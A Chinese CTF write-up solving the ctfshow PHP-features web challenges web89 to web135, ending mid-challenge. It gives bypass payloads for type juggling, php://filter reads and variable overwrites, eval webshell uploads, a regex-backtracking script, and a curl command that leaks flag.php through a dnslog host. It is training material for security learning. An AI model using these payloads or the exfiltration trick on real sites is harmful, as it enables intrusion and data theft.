1. 程式人生 > 其它 >CTFSHOW WEB入門 PHP特性篇

CTFSHOW WEB入門 PHP特性篇

web89

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

限制了引數中不能有數字字元,當函式 intval 引數為非空陣列時值為 1,構造陣列繞過。
payload: ?num[]=1

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval 函式掃描引數字串,跳過前面的空格字元,直到遇上數字或正負符號才開始做轉換,再遇到非數字或字串結束時(\0)結束轉換,並將結果返回。
這裡用 4476xxx 或 0x117c 都能繞過。
payload: 4476a

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

感覺不是 php 特性,只考了正則的 flag 不同匹配的文字不同。
payload: ?cmd=ph%0Aphp

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

第一個 if($num==4476),會強制按十進位制(預設)轉換 $num 為數字再進行比較,第二個 if(intval($num,0)==4476)intval 函式第二個引數為 0 會檢測字串格式判斷要轉換的進位制。所以這裡傳十六進位制或八進位制就能繞過。
payload: ?num=0x117c
payload: ?num=010574

web93

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

相比上一題禁用了字母,也就不能用十六進位制了,八進位制繞過。
payload: ?num=010574

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

引數第一個字元為 0 會觸發 die,八進位制可以字首 + 繞過。還可以用浮點數繞過,不過還是要帶 0 不然這個 if 還是 true。
payload: ?num=4476.20
payload: ?num=+010574

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

正則禁用了小數點,還能用八進位制繞過。
payload: ?num=+010574

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

hightlight_file 可以偽協議讀取檔案
payload: ?u=php://filter/convert.base64-encode/resource=flag.php

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5 函式傳 array 會返回 NULL,此時 if (md5($_POST['a']) === md5($_POST['b'])) 處 NULL === NULL。
a 和 b 傳兩個不同的陣列繞過 if ($_POST['a'] != $_POST['b'])
payload: a[]=1&b[]=2

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

考察三元表示式,讀題構造 payload,沒有繞過
url: ?a=1
body: HTTP_FLAG=flag

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

in_array 函式的第三個引數 $strict 預設為 false,不會對型別進行檢查。這就導致 "20.php""20" 都可以是 20,從而繞過限制上傳一句話。
url: ?n=30.php
body: content=<?php @eval($_POST[1]);

web100

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

運算子優先順序表可知 = 的優先順序比 and 要高,所以這裡 $v0 的賦值可以看成是 ($v0=is_numeric($v1)) and (is_numeric($v2)) and (is_numeric($v3)); ,只要 $v1 為數字就可以過 if($v0)
; 可以用 ?> 代替,就可以隨便操作了。
payload: ?v1=1&v2=eval($_POST[1])?>&v3=;

web101

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

修復了非預期,就讓你一定要用反射
payload: ?v1=1&v2=echo new ReflectionClass&v3=;

web102

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

is_numeric 在 php5 中可以把十六進位制數字符串識別成數字,但題目的環境是 php7,用不了。
這裡需要 $v2 是純數字的十六進位制數(帶 e 的科學計數法也可以),hex2bin 再偽協議 base64-decode 寫入即可。
url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin

web103

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
?>

和上一題差不多,增加了對 $str 字串的正則過濾,上題 payload 一把梭
url: ?v3=php://filter/write=convert.base64-decode/resource=test.php&v2=225044383959474e6864434171594473
body: v1=hex2bin

web104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

要求輸入兩個值,他們的 sha1 值相同,卻沒對這兩個值做任何限制,甚至直接輸入兩個一模一樣的值都可以過,這是在考 get 和 post 傳參嗎???

web105

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你還想要flag嘛?';
$suces='既然你想要那給你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

變數覆蓋,$flag -> $suces -> $error -> 輸出
url: ?suces=flag
body: error=suces

web106

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

sha1 和 md5 一樣都可以用 array 繞過,NULL == NULL && array(1) != array(2)
url: ?v2[]=2
body: v1[]=1

web107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>

考察 parse_str 函式,有第二個引數以陣列的形式存在第二個變數中,$v2 為將 v1 作為 url 引數解析後的結果。
要求引數中 flag 的值與 $v3 的 md5 雜湊值相同,故構造 payload
url: ?v3=1
body: v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

ereg 函式存在 00 截斷漏洞,0x36d 十進位制為 877,strrev 後應為 778,故構造 payload
payload: ?c=aa%00778

web109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

本身沒什麼過濾,正則完全就是擺設。第一個引數隨便找個類初始化一下,第二個閉合一下引數然後一句話連蟻劍
payload: ?v1=DirectoryIterator&v2=".");eval($_POST[1]);//

web110

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

FilesystemIterator 和 DirectoryIterator 在 php:5.6 被 echo 輸出時都會輸出第一個目錄,但在 php:7 中 DirectoryIterator 只會輸出 ".."。
這裡利用 FilesystemIterator 和 getcwd 獲取目錄下按字母排序第一個檔名,訪問這個 txt 獲取 flag。
payload: ?v1=FilesystemIterator&v2=getcwd

web111

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
}
?>

正則要求 v1 寫死 ctfshow,利用全域性變數變數 GLOBALS 獲取 flag 變數的值。
payload: ?v1=ctfshow&v2=GLOBALS

web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

正則禁用了一些協議和 filter,去掉 filter 也可以用 php://filter 讀檔案
payload: ?file=php://filter/resource=flag.php

web113

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

在 linux 中 /proc/self/root 是指向根目錄的 也就是如果在命令列中輸入 ls /proc/self/root 其實顯示的內容是根目錄下的內容 多次重複後繞過is_file

這裡可以利用 /proc/self/root 繞過 is_file,也可以用沒過濾的 compress.zlib:// 讀檔案。
payload: ?file=compress.zlib://flag.php
payload: ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
數了下是21個

web114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "師傅們居然tql都是非預期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

禁用了上一題的兩種方法,重新拿起老方法一把梭
payload: ?file=php://filter/resource=flag.php

web115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

在數字前加空格也會被 is_numeric 識別為數字,trim 過濾空格不會過濾 \f(%0c)
payload: ?num=%0c36

web123

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

isset($_POST['CTF_SHOW.COM']) 要求填寫一個帶英文句號的引數,但這是 php 不允許的,空格、[. 都會被替換成下劃線 _,但如果先有一個 [ 被替換成下劃線,接下來後面的空格、[. 都不會被替換,有點意思。
$c 被加了一大串正則限制,這裡經測試 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a 可以看到輸出是 Array,說明 php.ini 中開啟了配置 register_argc_argv,那麼 $a[0] 就是 GET 引數字串,測試 CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $a[0] 驗證了猜想,那麼就可以通過 eval($a[0]) 繞過正則和長度限制。
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])

web125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

相比上題增加了一些正則的過濾,不過不影響我們用上一題的 payload 一把梭。
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])

web126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

一把梭
url: ?$b=1;$fl0g=flag_give_me;
body: CTF[SHOW.COM=1&CTF_SHOW=1&fun=eval($a[0])

web127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字元檢測
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

需要變數覆蓋 $ctf_show 但正則禁用了 _[.,只能用空格。
payload: ?ctf show=ilove36d

web128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

禁用了所有數字和字母,不過還有 (gettext)[https://www.php.net/manual/zh/function.gettext.php] 函式的 _ 沒有被禁用,該函式可以原樣返回輸入的字串。
接下來第二層 call_user_func 呼叫的就是 $f2 傳入的字串對應的函式,(get_defined_vars)[https://www.php.net/manual/en/function.get-defined-vars] 函式可以返回作用域中定義的所有變數,其中就包括了 $flag
payload: ?f1=_&f2=get_defined_vars

web129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

if(stripos($f, 'ctfshow')>0) 要求引數 $f 包含字串 ctfshow,這裡目錄穿越繞過。
payload: ?f=php://filter/convert.base64-encode/resource=./ctfshow/../flag.php

web130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;
}

這過濾了個寂寞
payload: f=ctfshow

web131

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

正則存在(最大回溯限制)[https://www.laruence.com/2010/06/08/1579.html],觸發就可以讓 preg_match 直接返回 false,從而繞過限制。

import requests

url = "http://9924c6cf-8dd7-45d8-8c19-a2b887d66765.challenge.ctf.show:8080/"

print(requests.post(url, data={"f": "very"*250000+"36Dctfshow"}).text)

web132

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: [email protected]
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

訪問 /robots.txt 後看到 Disallow: /admin,更改位址列為 /admin 重新訪問會發現埠被去掉返回了 404,重新加上埠即可得到原始碼。
考察(運算子優先順序)[https://www.php.net/manual/zh/language.operators.precedence.php],其中 && 的優先順序高於 ||,故 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin") 中只需要 $username==="admin" 即可滿足。
payload: ?username=admin&password=a&code=admin

web133

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6個字母都還不夠呀?!");
    }
}

被 substr 後 eval 的部分還可以 eval 沒被 substr 的 $F,就可以繞過了。具體展開如下:

$F = @$_GET['F']; //?F=`$F`; sleep 3
substr($F, 0, 6); // `$F`; 
eval(substr($F, 0, 6)); // eval("`$F`; "); -> eval("``$F`; sleep 3`; "); "`" 只會被展開一次

於是就可以 dnslog 帶出 flag。

payload: ?F=`$F`; curl `cat flag.php|sed s/[[:space:]]/xx/g`.xxxxxx.dnslog.cn

web134

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考察變數覆蓋,if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) 限制 GET 和 POST 引數都不能有 key1key2,這兩個變數是後面 if($key1 == '36d' && $key2 == '36d') 要滿足的。因為有兩次變數覆蓋,而且前面的 if 是在覆蓋操作之前,所以可以通過覆蓋第二個變數覆蓋的引數來間接覆蓋 key1key2
payload: ?_POST[key1]=36d&_POST[key2]=36d

web135

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
